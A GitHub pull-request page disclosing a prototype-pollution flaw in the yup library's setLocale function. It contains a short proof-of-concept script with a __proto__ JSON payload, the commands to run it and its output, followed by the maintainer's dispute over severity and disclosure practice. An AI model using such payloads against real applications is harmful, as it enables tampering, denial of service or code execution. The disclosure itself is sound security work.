Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Prototype Pollution in yup #826

Merged
merged 2 commits into from
Oct 28, 2020
Merged

Prototype Pollution in yup #826

merged 2 commits into from
Oct 28, 2020

Conversation

mohanl0l
Copy link
Contributor

✍️ Description

yup is vulnerable to Prototype Pollution.
This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

🕵️‍♂️ Proof of Concept

  1. Create the following PoC file:
// poc.js
let yup = require('yup');
const payload = JSON.parse('{"__proto__":{"polluted":"Yes! Its Polluted"}}');
yup.setLocale(payload);
console.log({}.polluted)
  1. Execute the following commands in another terminal:
npm i yup # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Yes! Its Polluted

💥 Impact

It may lead to Information Disclosure/DoS/RCE.

✅ Checklist

In my pull request, I have:

  • Created and populated the README.md and vulnerability.json files
  • Provided the repository URL and any applicable permalinks
  • Defined all the applicable weaknesses (CWEs)
  • Proposed the CVSS vector items i.e. User Interaction, Attack Complexity
  • Checked that the vulnerability affects the latest version of the package released
  • Checked that a fix does not currently exist that remediates this vulnerability
  • Complied with all applicable laws

@huntr-helper huntr-helper added the disclosure Vulnerability disclosure label Oct 25, 2020
@JamieSlome
Copy link
Contributor

JamieSlome commented Oct 25, 2020

@jquense - we have received a vulnerability disclosure which we will triage and fix on your behalf.

Any thoughts on this disclosure? 🍰

Cheers! 🍰

@jquense
Copy link

jquense commented Oct 25, 2020

  1. This isn't the right way to do security disclosures. Hard to assume any of this is in good faith when you are just posting them publicly on GH.

  2. This isn't an issue with my library it's how the language works, and not job of every API to make sure that devs don't construct and pass in bad objects to every possible API

Literally almost any library API that accepts an options object is "vulnerable" to this, in the same way ORM's are "vulnerable" to SQL injection via their API. No one passes untrusted user input to setLocale thats not what it's for. It is for developers, and if developers want to break their own app this way, they don't need my library they can just mutate the object prototype.

@adam-nygate
Copy link
Member

  1. This isn't the right way to do security disclosures. Hard to assume any of this is in good faith when you are just posting them publicly on GH.

Hi, sorry about this, we're working on a way to automatically disclose this privately to maintainers - please bare with us! If you have any time over the next few weeks for a chat, we would love to get your input on this, and to have you participate in the beta, if of interest.

  1. This isn't an issue with my library it's how the language works, and not job of every API to make sure that devs don't construct and pass in bad objects to every possible API

Literally almost any library API that accepts an options object is "vulnerable" to this, in the same way ORM's are "vulnerable" to SQL injection via their API. No one passes untrusted user input to setLocale thats not what it's for. It is for developers, and if developers want to break their own app this way, they don't need my library they can just mutate the object prototype.

It's very true that not every API should protect against every potential attack vector and as you mentioned, it doesn't make much sense to protect against SQL injection in some ORM interfaces, however in this instance, although the possibility of a developer mis-implementing setLocale may be low (although I'm sure we've all seen crazy code being written by developers), the potential impact could be severe. This vulnerability allows someone to pollute the global object with arbitrary properties, which could cause weird/mal-intended behaviours with your library as well as any code that depends upon your package.

We may disagree about it's severity, but no worries, we'd be happy to write the PR to prevent this type of attack (just in case). Are you ok with this? @jquense

@jquense
Copy link

jquense commented Oct 28, 2020

Yup accepts PRs so feel free

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
disclosure Vulnerability disclosure
Projects
None yet
Development

Successfully merging this pull request may close these issues.

5 participants